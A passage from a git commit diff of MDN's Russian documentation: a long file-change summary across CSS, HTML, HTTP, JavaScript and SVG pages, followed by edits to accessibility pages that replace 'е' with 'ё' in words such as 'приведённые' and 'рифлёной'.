files/ru/web/css/margin-inline-start/index.html | 2 +- files/ru/web/css/margin-left/index.html | 2 +- files/ru/web/css/margin-right/index.html | 2 +- files/ru/web/css/margin/index.html | 8 +- files/ru/web/css/max-block-size/index.html | 2 +- files/ru/web/css/media_queries/index.html | 4 +- .../media_queries/testing_media_queries/index.html | 6 +- .../media_queries/using_media_queries/index.html | 6 +- files/ru/web/css/object-fit/index.html | 6 +- files/ru/web/css/opacity/index.html | 8 +- files/ru/web/css/order/index.html | 2 +- files/ru/web/css/orphans/index.html | 2 +- files/ru/web/css/overflow-block/index.html | 2 +- files/ru/web/css/overflow-wrap/index.html | 4 +- files/ru/web/css/overflow/index.html | 2 +- files/ru/web/css/overscroll-behavior/index.html | 2 +- files/ru/web/css/padding-left/index.html | 2 +- files/ru/web/css/padding/index.html | 2 +- files/ru/web/css/paint-order/index.html | 2 +- files/ru/web/css/perspective/index.html | 2 +- files/ru/web/css/pointer-events/index.html | 2 +- files/ru/web/css/position/index.html | 22 +++--- files/ru/web/css/radial-gradient()/index.html | 12 +-- files/ru/web/css/ratio/index.html | 2 +- files/ru/web/css/reference/index.html | 2 +- .../web/css/repeating-linear-gradient()/index.html | 8 +- files/ru/web/css/selector_list/index.html | 8 +- files/ru/web/css/shorthand_properties/index.html | 2 +- files/ru/web/css/specificity/index.html | 18 ++--- files/ru/web/css/syntax/index.html | 8 +- files/ru/web/css/time/index.html | 4 +- files/ru/web/css/touch-action/index.html | 2 +- .../css/transform-function/rotate3d()/index.html | 2 +- .../css/transform-function/scale3d()/index.html | 2 +- .../web/css/transform-function/skew()/index.html | 8 +- files/ru/web/css/transform-style/index.html | 2 +- files/ru/web/css/transform/index.html | 6 +- files/ru/web/css/transition/index.html | 4 +- files/ru/web/css/universal_selectors/index.html | 8 +- files/ru/web/css/used_value/index.html | 2 +- files/ru/web/css/user-select/index.html | 4 +- .../web/css/using_css_custom_properties/index.html | 4 +- files/ru/web/css/vertical-align/index.html | 6 +- files/ru/web/css/visibility/index.html | 2 +- .../ru/web/css/visual_formatting_model/index.html | 2 +- files/ru/web/css/white-space/index.html | 2 +- files/ru/web/css/will-change/index.html | 8 +- files/ru/web/css/word-spacing/index.html | 6 +- files/ru/web/events/index.html | 16 ++-- files/ru/web/guide/ajax/getting_started/index.html | 20 ++--- files/ru/web/guide/ajax/index.html | 2 +- .../index.html | 14 ++-- .../buffering_seeking_time_ranges/index.html | 2 +- .../guide/css/block_formatting_context/index.html | 2 +- .../ru/web/guide/events/event_handlers/index.html | 2 +- files/ru/web/guide/events/index.html | 8 +- files/ru/web/guide/events/media_events/index.html | 8 +- .../overview_of_events_and_handlers/index.html | 14 ++-- files/ru/web/guide/graphics/index.html | 2 +- .../web/guide/html/content_categories/index.html | 18 ++--- .../ru/web/guide/html/editable_content/index.html | 12 +-- files/ru/web/guide/html/html5/index.html | 8 +- .../html/html5/introduction_to_html5/index.html | 2 +- .../using_html_sections_and_outlines/index.html | 44 +++++------ files/ru/web/guide/index.html | 2 +- files/ru/web/guide/mobile/index.html | 6 +- .../guide/parsing_and_serializing_xml/index.html | 10 +-- files/ru/web/guide/user_input_methods/index.html | 2 +- files/ru/web/html/applying_color/index.html | 46 +++++------ .../ru/web/html/attributes/crossorigin/index.html | 6 +- files/ru/web/html/attributes/index.html | 4 +- files/ru/web/html/block-level_elements/index.html | 2 +- files/ru/web/html/cors_enabled_image/index.html | 4 +- files/ru/web/html/element/a/index.html | 6 +- files/ru/web/html/element/abbr/index.html | 2 +- files/ru/web/html/element/acronym/index.html | 2 +- files/ru/web/html/element/address/index.html | 4 +- files/ru/web/html/element/applet/index.html | 2 +- files/ru/web/html/element/area/index.html | 10 +-- files/ru/web/html/element/article/index.html | 8 +- files/ru/web/html/element/aside/index.html | 8 +- files/ru/web/html/element/audio/index.html | 16 ++-- files/ru/web/html/element/b/index.html | 2 +- files/ru/web/html/element/bdi/index.html | 2 +- files/ru/web/html/element/blockquote/index.html | 2 +- files/ru/web/html/element/body/index.html | 12 +-- files/ru/web/html/element/br/index.html | 2 +- files/ru/web/html/element/button/index.html | 16 ++-- files/ru/web/html/element/caption/index.html | 6 +- files/ru/web/html/element/cite/index.html | 4 +- files/ru/web/html/element/col/index.html | 2 +- files/ru/web/html/element/data/index.html | 2 +- files/ru/web/html/element/datalist/index.html | 2 +- files/ru/web/html/element/dd/index.html | 2 +- files/ru/web/html/element/del/index.html | 10 +-- files/ru/web/html/element/details/index.html | 2 +- files/ru/web/html/element/dfn/index.html | 16 ++-- files/ru/web/html/element/dialog/index.html | 2 +- files/ru/web/html/element/div/index.html | 8 +- files/ru/web/html/element/dl/index.html | 4 +- files/ru/web/html/element/dt/index.html | 4 +- files/ru/web/html/element/em/index.html | 14 ++-- files/ru/web/html/element/embed/index.html | 8 +- files/ru/web/html/element/fieldset/index.html | 6 +- files/ru/web/html/element/figcaption/index.html | 2 +- files/ru/web/html/element/figure/index.html | 2 +- files/ru/web/html/element/font/index.html | 4 +- files/ru/web/html/element/footer/index.html | 8 +- files/ru/web/html/element/form/index.html | 4 +- files/ru/web/html/element/head/index.html | 8 +- files/ru/web/html/element/header/index.html | 10 +-- .../web/html/element/heading_elements/index.html | 10 +-- files/ru/web/html/element/hgroup/index.html | 2 +- files/ru/web/html/element/hr/index.html | 6 +- files/ru/web/html/element/html/index.html | 8 +- files/ru/web/html/element/img/index.html | 30 ++++---- files/ru/web/html/element/index.html | 2 +- files/ru/web/html/element/input/button/index.html | 2 +- files/ru/web/html/element/input/color/index.html | 10 +-- files/ru/web/html/element/input/date/index.html | 4 +- .../html/element/input/datetime-local/index.html | 8 +- files/ru/web/html/element/input/image/index.html | 4 +- files/ru/web/html/element/input/index.html | 12 +-- files/ru/web/html/element/input/number/index.html | 2 +- .../ru/web/html/element/input/password/index.html | 26 +++---- files/ru/web/html/element/input/radio/index.html | 4 +- files/ru/web/html/element/input/range/index.html | 32 ++++---- files/ru/web/html/element/input/search/index.html | 2 +- files/ru/web/html/element/input/tel/index.html | 2 +- files/ru/web/html/element/ins/index.html | 4 +- files/ru/web/html/element/label/index.html | 8 +- files/ru/web/html/element/li/index.html | 6 +- files/ru/web/html/element/link/index.html | 28 +++---- files/ru/web/html/element/main/index.html | 14 ++-- files/ru/web/html/element/map/index.html | 8 +- files/ru/web/html/element/mark/index.html | 8 +- files/ru/web/html/element/marquee/index.html | 12 +-- files/ru/web/html/element/menu/index.html | 6 +- files/ru/web/html/element/meta/index.html | 26 +++---- files/ru/web/html/element/meter/index.html | 12 +-- files/ru/web/html/element/nav/index.html | 10 +-- files/ru/web/html/element/noscript/index.html | 2 +- files/ru/web/html/element/ol/index.html | 2 +- files/ru/web/html/element/option/index.html | 10 +-- files/ru/web/html/element/output/index.html | 6 +- files/ru/web/html/element/p/index.html | 10 +-- files/ru/web/html/element/pre/index.html | 10 +-- files/ru/web/html/element/progress/index.html | 10 +-- files/ru/web/html/element/ruby/index.html | 4 +- files/ru/web/html/element/script/index.html | 2 +- files/ru/web/html/element/section/index.html | 10 +-- files/ru/web/html/element/select/index.html | 2 +- files/ru/web/html/element/slot/index.html | 6 +- files/ru/web/html/element/span/index.html | 8 +- files/ru/web/html/element/strong/index.html | 20 ++--- files/ru/web/html/element/td/index.html | 10 +-- files/ru/web/html/element/template/index.html | 4 +- files/ru/web/html/element/tfoot/index.html | 8 +- files/ru/web/html/element/title/index.html | 10 +-- files/ru/web/html/element/track/index.html | 4 +- files/ru/web/html/element/u/index.html | 2 +- files/ru/web/html/element/video/index.html | 12 +-- files/ru/web/html/element/wbr/index.html | 10 +-- .../html/global_attributes/accesskey/index.html | 2 +- .../ru/web/html/global_attributes/class/index.html | 2 +- .../global_attributes/contenteditable/index.html | 2 +- .../html/global_attributes/data-_star_/index.html | 2 +- files/ru/web/html/global_attributes/id/index.html | 2 +- files/ru/web/html/global_attributes/index.html | 14 ++-- .../html/global_attributes/inputmode/index.html | 2 +- files/ru/web/html/global_attributes/is/index.html | 2 +- .../ru/web/html/global_attributes/lang/index.html | 8 +- files/ru/web/html/index.html | 18 ++--- files/ru/web/html/inline_elements/index.html | 2 +- .../html/using_the_application_cache/index.html | 4 +- files/ru/web/http/authentication/index.html | 6 +- .../identifying_resources_on_the_web/index.html | 4 +- files/ru/web/http/basics_of_http/index.html | 4 +- .../mime_types/common_types/index.html | 2 +- files/ru/web/http/caching/index.html | 30 ++++---- .../connection_management_in_http_1.x/index.html | 26 +++---- files/ru/web/http/content_negotiation/index.html | 12 +-- .../list_of_default_accept_values/index.html | 10 +-- files/ru/web/http/cookies/index.html | 26 +++---- .../corsalloworiginnotmatchingorigin/index.html | 2 +- .../web/http/cors/errors/corsdisabled/index.html | 4 +- .../cors/errors/corsmissingalloworigin/index.html | 4 +- files/ru/web/http/cors/index.html | 46 +++++------ files/ru/web/http/csp/index.html | 36 ++++----- files/ru/web/http/feature_policy/index.html | 4 +- .../feature_policy/using_feature_policy/index.html | 8 +- .../ru/web/http/headers/accept-charset/index.html | 4 +- .../ru/web/http/headers/accept-language/index.html | 6 +- files/ru/web/http/headers/accept-patch/index.html | 2 +- files/ru/web/http/headers/accept/index.html | 4 +- .../access-control-allow-headers/index.html | 4 +- .../access-control-allow-methods/index.html | 4 +- .../headers/access-control-allow-origin/index.html | 4 +- .../http/headers/access-control-max-age/index.html | 2 +- files/ru/web/http/headers/authorization/index.html | 6 +- files/ru/web/http/headers/cache-control/index.html | 2 +- files/ru/web/http/headers/connection/index.html | 4 +- .../http/headers/content-disposition/index.html | 2 +- .../web/http/headers/content-encoding/index.html | 2 +- .../web/http/headers/content-language/index.html | 2 +- files/ru/web/http/headers/date/index.html | 10 +-- files/ru/web/http/headers/etag/index.html | 6 +- files/ru/web/http/headers/expect/index.html | 2 +- files/ru/web/http/headers/expires/index.html | 2 +- files/ru/web/http/headers/if-match/index.html | 6 +- .../web/http/headers/if-modified-since/index.html | 4 +- .../http/headers/if-unmodified-since/index.html | 6 +- files/ru/web/http/headers/index.html | 6 +- files/ru/web/http/headers/last-modified/index.html | 2 +- files/ru/web/http/headers/pragma/index.html | 6 +- files/ru/web/http/headers/referer/index.html | 10 +-- files/ru/web/http/headers/retry-after/index.html | 4 +- files/ru/web/http/headers/set-cookie/index.html | 14 ++-- .../headers/strict-transport-security/index.html | 8 +- files/ru/web/http/headers/vary/index.html | 2 +- .../http/headers/x-content-type-options/index.html | 2 +- .../ru/web/http/headers/x-forwarded-for/index.html | 2 +- .../web/http/headers/x-xss-protection/index.html | 2 +- files/ru/web/http/index.html | 4 +- files/ru/web/http/messages/index.html | 10 +-- files/ru/web/http/methods/connect/index.html | 2 +- files/ru/web/http/methods/delete/index.html | 2 +- files/ru/web/http/methods/options/index.html | 4 +- files/ru/web/http/methods/patch/index.html | 2 +- files/ru/web/http/methods/post/index.html | 6 +- files/ru/web/http/methods/put/index.html | 4 +- files/ru/web/http/overview/index.html | 24 +++--- files/ru/web/http/redirections/index.html | 26 +++---- files/ru/web/http/session/index.html | 14 ++-- files/ru/web/http/status/100/index.html | 2 +- files/ru/web/http/status/200/index.html | 4 +- files/ru/web/http/status/201/index.html | 2 +- files/ru/web/http/status/202/index.html | 2 +- files/ru/web/http/status/203/index.html | 2 +- files/ru/web/http/status/204/index.html | 4 +- files/ru/web/http/status/206/index.html | 2 +- files/ru/web/http/status/301/index.html | 4 +- files/ru/web/http/status/302/index.html | 4 +- files/ru/web/http/status/307/index.html | 4 +- files/ru/web/http/status/308/index.html | 4 +- files/ru/web/http/status/401/index.html | 2 +- files/ru/web/http/status/402/index.html | 2 +- files/ru/web/http/status/403/index.html | 2 +- files/ru/web/http/status/405/index.html | 2 +- files/ru/web/http/status/406/index.html | 4 +- files/ru/web/http/status/407/index.html | 2 +- files/ru/web/http/status/408/index.html | 2 +- files/ru/web/http/status/411/index.html | 2 +- files/ru/web/http/status/412/index.html | 2 +- files/ru/web/http/status/413/index.html | 2 +- files/ru/web/http/status/416/index.html | 2 +- files/ru/web/http/status/425/index.html | 2 +- files/ru/web/http/status/429/index.html | 2 +- files/ru/web/http/status/431/index.html | 2 +- files/ru/web/http/status/451/index.html | 2 +- files/ru/web/http/status/500/index.html | 2 +- files/ru/web/http/status/511/index.html | 4 +- files/ru/web/http/status/index.html | 22 +++--- .../a_re-introduction_to_javascript/index.html | 8 +- .../ru/web/javascript/about_javascript/index.html | 8 +- files/ru/web/javascript/closures/index.html | 26 +++---- files/ru/web/javascript/data_structures/index.html | 8 +- .../equality_comparisons_and_sameness/index.html | 10 +-- files/ru/web/javascript/eventloop/index.html | 10 +-- .../control_flow_and_error_handling/index.html | 20 ++--- .../guide/details_of_the_object_model/index.html | 62 +++++++-------- .../guide/expressions_and_operators/index.html | 28 +++---- files/ru/web/javascript/guide/functions/index.html | 30 ++++---- .../javascript/guide/grammar_and_types/index.html | 38 ++++----- files/ru/web/javascript/guide/index.html | 2 +- .../guide/indexed_collections/index.html | 34 ++++---- .../web/javascript/guide/introduction/index.html | 16 ++-- .../guide/iterators_and_generators/index.html | 12 +-- .../javascript/guide/meta_programming/index.html | 18 ++--- .../javascript/guide/numbers_and_dates/index.html | 20 ++--- .../regular_expressions/assertions/index.html | 8 +- .../character_classes/index.html | 34 ++++---- .../guide/regular_expressions/index.html | 28 +++---- .../javascript/guide/text_formatting/index.html | 16 ++-- .../web/javascript/guide/using_promises/index.html | 24 +++--- .../guide/working_with_objects/index.html | 46 +++++------ files/ru/web/javascript/index.html | 4 +- .../inheritance_and_the_prototype_chain/index.html | 4 +- .../javascript_technologies_overview/index.html | 14 ++-- .../web/javascript/language_resources/index.html | 6 +- .../ru/web/javascript/memory_management/index.html | 2 +- .../reference/classes/constructor/index.html | 8 +- .../reference/classes/extends/index.html | 2 +- .../ru/web/javascript/reference/classes/index.html | 26 +++---- .../classes/private_class_fields/index.html | 4 +- .../classes/public_class_fields/index.html | 2 +- .../javascript/reference/classes/static/index.html | 2 +- .../reference/errors/already_has_pragma/index.html | 2 +- .../reference/errors/bad_radix/index.html | 2 +- .../reference/errors/bad_regexp_flag/index.html | 2 +- .../errors/bad_return_or_yield/index.html | 2 +- .../errors/called_on_incompatible_type/index.html | 2 +- .../index.html | 2 +- .../errors/cant_access_property/index.html | 20 ++--- .../reference/errors/cant_delete/index.html | 4 +- .../errors/cant_redefine_property/index.html | 8 +- .../errors/cyclic_object_value/index.html | 2 +- .../reference/errors/dead_object/index.html | 12 +-- .../errors/delete_in_strict_mode/index.html | 6 +- .../deprecated_expression_closures/index.html | 4 +- .../errors/deprecated_string_generics/index.html | 6 +- .../errors/deprecated_tolocaleformat/index.html | 4 +- .../reference/errors/equal_as_assign/index.html | 2 +- .../for-each-in_loops_are_deprecated/index.html | 4 +- .../reference/errors/getter_only/index.html | 6 +- .../errors/identifier_after_number/index.html | 4 +- .../errors/in_operator_no_object/index.html | 4 +- .../ru/web/javascript/reference/errors/index.html | 4 +- .../errors/invalid_const_assignment/index.html | 4 +- .../errors/invalid_for-in_initializer/index.html | 4 +- .../reference/errors/is_not_iterable/index.html | 6 +- .../errors/malformed_formal_parameter/index.html | 2 +- .../errors/missing_bracket_after_list/index.html | 2 +- .../missing_colon_after_property_id/index.html | 2 +- .../missing_curly_after_function_body/index.html | 4 +- .../index.html | 2 +- .../reference/errors/no_variable_name/index.html | 2 +- .../non_configurable_array_element/index.html | 10 +-- .../reference/errors/not_a_codepoint/index.html | 2 +- .../reference/errors/not_a_constructor/index.html | 2 +- .../reference/errors/not_defined/index.html | 4 +- .../reference/errors/read-only/index.html | 4 +- .../errors/redeclared_parameter/index.html | 4 +- .../errors/reserved_identifier/index.html | 2 +- .../errors/strict_non_simple_params/index.html | 4 +- .../reference/errors/unexpected_token/index.html | 4 +- .../reference/errors/unexpected_type/index.html | 4 +- .../errors/unnamed_function_statement/index.html | 4 +- .../errors/unterminated_string_literal/index.html | 6 +- .../reference/errors/var_hides_argument/index.html | 2 +- .../functions/arguments/callee/index.html | 2 +- .../reference/functions/arguments/index.html | 8 +- .../reference/functions/arrow_functions/index.html | 4 +- .../functions/default_parameters/index.html | 10 +-- .../javascript/reference/functions/get/index.html | 8 +- .../functions/method_definitions/index.html | 2 +- .../javascript/reference/functions/set/index.html | 6 +- .../global_objects/array/concat/index.html | 2 +- .../global_objects/array/every/index.html | 2 +- .../reference/global_objects/array/fill/index.html | 2 +- .../global_objects/array/filter/index.html | 2 +- .../reference/global_objects/array/find/index.html | 2 +- .../reference/global_objects/array/flat/index.html | 4 +- .../global_objects/array/foreach/index.html | 6 +- .../reference/global_objects/array/keys/index.html | 2 +- .../global_objects/array/lastindexof/index.html | 2 +- .../reference/global_objects/array/map/index.html | 2 +- .../global_objects/array/reduce/index.html | 2 +- .../global_objects/array/reverse/index.html | 4 +- .../global_objects/array/slice/index.html | 8 +- .../reference/global_objects/array/some/index.html | 2 +- .../reference/global_objects/array/sort/index.html | 2 +- .../global_objects/arraybuffer/index.html | 14 ++-- .../global_objects/arraybuffer/slice/index.html | 2 +- .../global_objects/asyncfunction/index.html | 6 +- .../global_objects/atomics/add/index.html | 4 +- .../reference/global_objects/atomics/index.html | 8 +- .../global_objects/atomics/sub/index.html | 4 +- .../reference/global_objects/bigint/index.html | 14 ++-- .../reference/global_objects/date/index.html | 2 +- .../global_objects/date/setminutes/index.html | 2 +- .../global_objects/date/toutcstring/index.html | 2 +- .../global_objects/decodeuricomponent/index.html | 2 +- .../reference/global_objects/encodeuri/index.html | 2 +- .../global_objects/encodeuricomponent/index.html | 2 +- .../reference/global_objects/error/index.html | 2 +- .../reference/global_objects/escape/index.html | 2 +- .../reference/global_objects/eval/index.html | 14 ++-- .../global_objects/float32array/index.html | 2 +- .../global_objects/function/bind/index.html | 8 +- .../reference/global_objects/function/index.html | 2 +- .../global_objects/function/name/index.html | 8 +- .../reference/global_objects/generator/index.html | 2 +- .../global_objects/generator/throw/index.html | 4 +- .../global_objects/generatorfunction/index.html | 4 +- .../reference/global_objects/globalthis/index.html | 2 +- .../reference/global_objects/intl/index.html | 2 +- .../reference/global_objects/isfinite/index.html | 4 +- .../reference/global_objects/map/delete/index.html | 2 +- .../global_objects/map/entries/index.html | 2 +- .../global_objects/map/foreach/index.html | 2 +- .../reference/global_objects/map/get/index.html | 4 +- .../reference/global_objects/map/index.html | 4 +- .../reference/global_objects/math/sqrt/index.html | 2 +- .../reference/global_objects/nan/index.html | 2 +- .../reference/global_objects/null/index.html | 6 +- .../global_objects/object/create/index.html | 6 +- .../global_objects/object/entries/index.html | 2 +- .../global_objects/object/fromentries/index.html | 2 +- .../object/getownpropertydescriptors/index.html | 2 +- .../global_objects/object/values/index.html | 2 +- .../reference/global_objects/parsefloat/index.html | 8 +- .../reference/global_objects/parseint/index.html | 4 +- .../global_objects/promise/all/index.html | 10 +-- .../global_objects/promise/any/index.html | 12 +-- .../global_objects/promise/catch/index.html | 6 +- .../global_objects/promise/finally/index.html | 8 +- .../reference/global_objects/promise/index.html | 16 ++-- .../global_objects/promise/race/index.html | 6 +- .../global_objects/promise/reject/index.html | 6 +- .../global_objects/promise/resolve/index.html | 2 +- .../global_objects/promise/then/index.html | 8 +- .../global_objects/reflect/construct/index.html | 2 +- .../reference/global_objects/reflect/index.html | 2 +- .../global_objects/reflect/ownkeys/index.html | 2 +- .../global_objects/regexp/@@split/index.html | 2 +- .../reference/global_objects/regexp/index.html | 4 +- .../global_objects/regexp/lastmatch/index.html | 2 +- .../reference/global_objects/regexp/n/index.html | 4 +- .../global_objects/regexp/unicode/index.html | 2 +- .../reference/global_objects/set/delete/index.html | 10 +-- .../global_objects/set/foreach/index.html | 2 +- .../reference/global_objects/set/set/index.html | 2 +- .../global_objects/sharedarraybuffer/index.html | 10 +-- .../global_objects/string/match/index.html | 2 +- .../global_objects/string/matchall/index.html | 2 +- .../global_objects/string/padend/index.html | 6 +- .../global_objects/string/replaceall/index.html | 10 +-- .../global_objects/string/slice/index.html | 8 +- .../reference/global_objects/symbol/for/index.html | 2 +- .../reference/global_objects/symbol/index.html | 14 ++-- .../global_objects/symbol/toprimitive/index.html | 2 +- .../reference/global_objects/typedarray/index.html | 4 +- .../reference/global_objects/unescape/index.html | 2 +- .../reference/global_objects/uneval/index.html | 2 +- .../global_objects/weakmap/clear/index.html | 2 +- .../global_objects/weakmap/delete/index.html | 2 +- .../reference/global_objects/weakmap/index.html | 2 +- .../global_objects/webassembly/compile/index.html | 2 +- .../webassembly/compilestreaming/index.html | 6 +- .../global_objects/webassembly/index.html | 22 +++--- .../global_objects/webassembly/table/index.html | 14 ++-- .../reference/iteration_protocols/index.html | 6 +- .../reference/lexical_grammar/index.html | 10 +-- .../reference/operators/addition/index.html | 2 +- .../reference/operators/await/index.html | 4 +- .../reference/operators/bitwise_and/index.html | 2 +- .../reference/operators/comma_operator/index.html | 4 +- .../operators/conditional_operator/index.html | 12 +-- .../reference/operators/delete/index.html | 20 ++--- .../javascript/reference/operators/in/index.html | 4 +- .../reference/operators/instanceof/index.html | 2 +- .../reference/operators/new.target/index.html | 4 +- .../javascript/reference/operators/new/index.html | 12 +-- .../nullish_coalescing_operator/index.html | 2 +- .../operators/object_initializer/index.html | 22 +++--- .../operators/optional_chaining/index.html | 4 +- .../operators/pipeline_operator/index.html | 2 +- .../reference/operators/spread_syntax/index.html | 12 +-- .../javascript/reference/operators/this/index.html | 26 +++---- .../javascript/reference/operators/void/index.html | 2 +- .../reference/statements/async_function/index.html | 6 +- .../reference/statements/block/index.html | 4 +- .../reference/statements/class/index.html | 4 +- .../reference/statements/do...while/index.html | 4 +- .../reference/statements/empty/index.html | 2 +- .../reference/statements/for-await...of/index.html | 2 +- .../reference/statements/for...in/index.html | 2 +- .../reference/statements/for...of/index.html | 6 +- .../javascript/reference/statements/for/index.html | 2 +- .../reference/statements/import/index.html | 14 ++-- .../javascript/reference/statements/let/index.html | 16 ++-- .../reference/statements/return/index.html | 2 +- .../reference/statements/throw/index.html | 24 +++--- .../reference/statements/try...catch/index.html | 2 +- .../javascript/reference/statements/var/index.html | 10 +-- .../reference/statements/while/index.html | 2 +- .../reference/statements/with/index.html | 2 +- .../javascript/reference/strict_mode/index.html | 24 +++--- .../transitioning_to_strict_mode/index.html | 8 +- files/ru/web/javascript/typed_arrays/index.html | 18 ++--- files/ru/web/manifest/background_color/index.html | 2 +- files/ru/web/manifest/icons/index.html | 4 +- files/ru/web/manifest/index.html | 2 +- .../web/manifest/related_applications/index.html | 2 +- files/ru/web/mathml/attribute/index.html | 20 ++--- files/ru/web/mathml/authoring/index.html | 36 ++++----- files/ru/web/mathml/element/maction/index.html | 4 +- files/ru/web/mathml/element/math/index.html | 6 +- files/ru/web/mathml/element/menclose/index.html | 14 ++-- files/ru/web/mathml/element/merror/index.html | 2 +- files/ru/web/mathml/element/mover/index.html | 2 +- .../deriving_the_quadratic_formula/index.html | 2 +- files/ru/web/mathml/examples/index.html | 2 +- .../examples/mathml_pythagorean_theorem/index.html | 2 +- .../web/media/formats/codecs_parameter/index.html | 6 +- .../ru/web/media/formats/webrtc_codecs/index.html | 50 ++++++------ .../index.html | 16 ++-- .../performance/critical_rendering_path/index.html | 18 ++--- .../index.html | 4 +- files/ru/web/performance/dns-prefetch/index.html | 4 +- files/ru/web/performance/fundamentals/index.html | 24 +++--- .../web/performance/how_browsers_work/index.html | 22 +++--- .../performance/how_long_is_too_long/index.html | 4 +- files/ru/web/performance/index.html | 4 +- .../navigation_and_resource_timings/index.html | 10 +-- .../optimizing_startup_performance/index.html | 10 +-- .../web/performance/performance_budgets/index.html | 12 +-- .../ru/web/performance/rum-vs-synthetic/index.html | 6 +- .../installable_pwas/index.html | 6 +- files/ru/web/reference/api/index.html | 2 +- files/ru/web/reference/index.html | 2 +- .../ru/web/security/same-origin_policy/index.html | 2 +- .../turning_off_form_autocompletion/index.html | 2 +- .../index.html | 8 +- .../ru/web/svg/attribute/attributetype/index.html | 6 +- files/ru/web/svg/attribute/core/index.html | 4 +- files/ru/web/svg/attribute/d/index.html | 8 +- files/ru/web/svg/attribute/dur/index.html | 4 +- files/ru/web/svg/attribute/end/index.html | 4 +- files/ru/web/svg/attribute/fill-rule/index.html | 2 +- files/ru/web/svg/attribute/font-weight/index.html | 2 +- files/ru/web/svg/attribute/id/index.html | 2 +- files/ru/web/svg/attribute/index.html | 2 +- files/ru/web/svg/attribute/keytimes/index.html | 6 +- files/ru/web/svg/attribute/lang/index.html | 12 +-- .../svg/attribute/patterncontentunits/index.html | 8 +- files/ru/web/svg/attribute/r/index.html | 2 +- files/ru/web/svg/attribute/repeatcount/index.html | 2 +- files/ru/web/svg/attribute/rx/index.html | 2 +- files/ru/web/svg/attribute/ry/index.html | 2 +- .../web/svg/attribute/shape-rendering/index.html | 8 +- files/ru/web/svg/attribute/stroke/index.html | 4 +- files/ru/web/svg/attribute/text-anchor/index.html | 2 +- files/ru/web/svg/attribute/transform/index.html | 2 +- files/ru/web/svg/attribute/values/index.html | 4 +- files/ru/web/svg/attribute/viewbox/index.html | 2 +- files/ru/web/svg/element/animate/index.html | 2 +- files/ru/web/svg/element/animatemotion/index.html | 2 +- files/ru/web/svg/element/feblend/index.html | 2 +- files/ru/web/svg/element/foreignobject/index.html | 4 +- files/ru/web/svg/element/rect/index.html | 6 +- files/ru/web/svg/element/text/index.html | 4 +- files/ru/web/svg/element/use/index.html | 2 +- .../web/svg/svg_1.1_support_in_firefox/index.html | 6 +- files/ru/web/svg/tutorial/basic_shapes/index.html | 4 +- .../svg/tutorial/basic_transformations/index.html | 10 +-- .../svg/tutorial/clipping_and_masking/index.html | 8 +- .../web/svg/tutorial/fills_and_strokes/index.html | 12 +-- .../ru/web/svg/tutorial/filter_effects/index.html | 2 +- .../ru/web/svg/tutorial/getting_started/index.html | 8 +- files/ru/web/svg/tutorial/gradients/index.html | 10 +-- files/ru/web/svg/tutorial/introduction/index.html | 12 +-- files/ru/web/svg/tutorial/paths/index.html | 20 ++--- files/ru/web/svg/tutorial/patterns/index.html | 12 +-- files/ru/web/svg/tutorial/svg_and_css/index.html | 2 +- files/ru/web/svg/tutorial/svg_fonts/index.html | 14 ++-- .../tutorial/svg_in_html_introduction/index.html | 6 +- files/ru/web/svg/tutorial/texts/index.html | 10 +-- files/ru/web/svg/tutorial/tools_for_svg/index.html | 2 +- files/ru/web/tutorials/index.html | 12 +-- files/ru/web/web_components/index.html | 22 +++--- .../using_custom_elements/index.html | 20 ++--- files/ru/web/xml/xml_introduction/index.html | 8 +- files/ru/web/xslt/index.html | 2 +- 1159 files changed, 3858 insertions(+), 3858 deletions(-) (limited to 'files/ru/web') diff --git a/files/ru/web/accessibility/aria/aria_techniques/index.html b/files/ru/web/accessibility/aria/aria_techniques/index.html index 2e29856a5c..192996ad83 100644 --- a/files/ru/web/accessibility/aria/aria_techniques/index.html +++ b/files/ru/web/accessibility/aria/aria_techniques/index.html @@ -47,7 +47,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques

Композиционные роли

-

Приведенные ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.

+

Приведённые ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.

-
Замечание: Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведенная выше, также одно из таких мнений, и не является нормативом.
+
Замечание: Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведённая выше, также одно из таких мнений, и не является нормативом.

Лучшие практики

diff --git a/files/ru/web/accessibility/index.html b/files/ru/web/accessibility/index.html index 5906df0a22..4caa565c8a 100644 --- a/files/ru/web/accessibility/index.html +++ b/files/ru/web/accessibility/index.html @@ -13,7 +13,7 @@ translation_of: Web/Accessibility

Технологии облегчают жизнь многим людям. А людям с ограниченными возможностями технологии дают такие возможности, которые ранее им были недоступны. Доступность в контексте разработки подразумевает создание такого контента, пользоваться которым мог бы каждый, несмотря на индивидуальные физические или когнитивные способности и вне зависимости от того, как они получают доступ в сеть.

-

«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифленой тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." Статья Accessibility в английской Википедии

+

«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифлёной тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." Статья Accessibility в английской Википедии

"Интернет принципиально создан для всех людей на Земле, независимо от их аппаратных, программных, языковых, культурных, территориальных, физических или умственных способностей." W3C - Accessibility

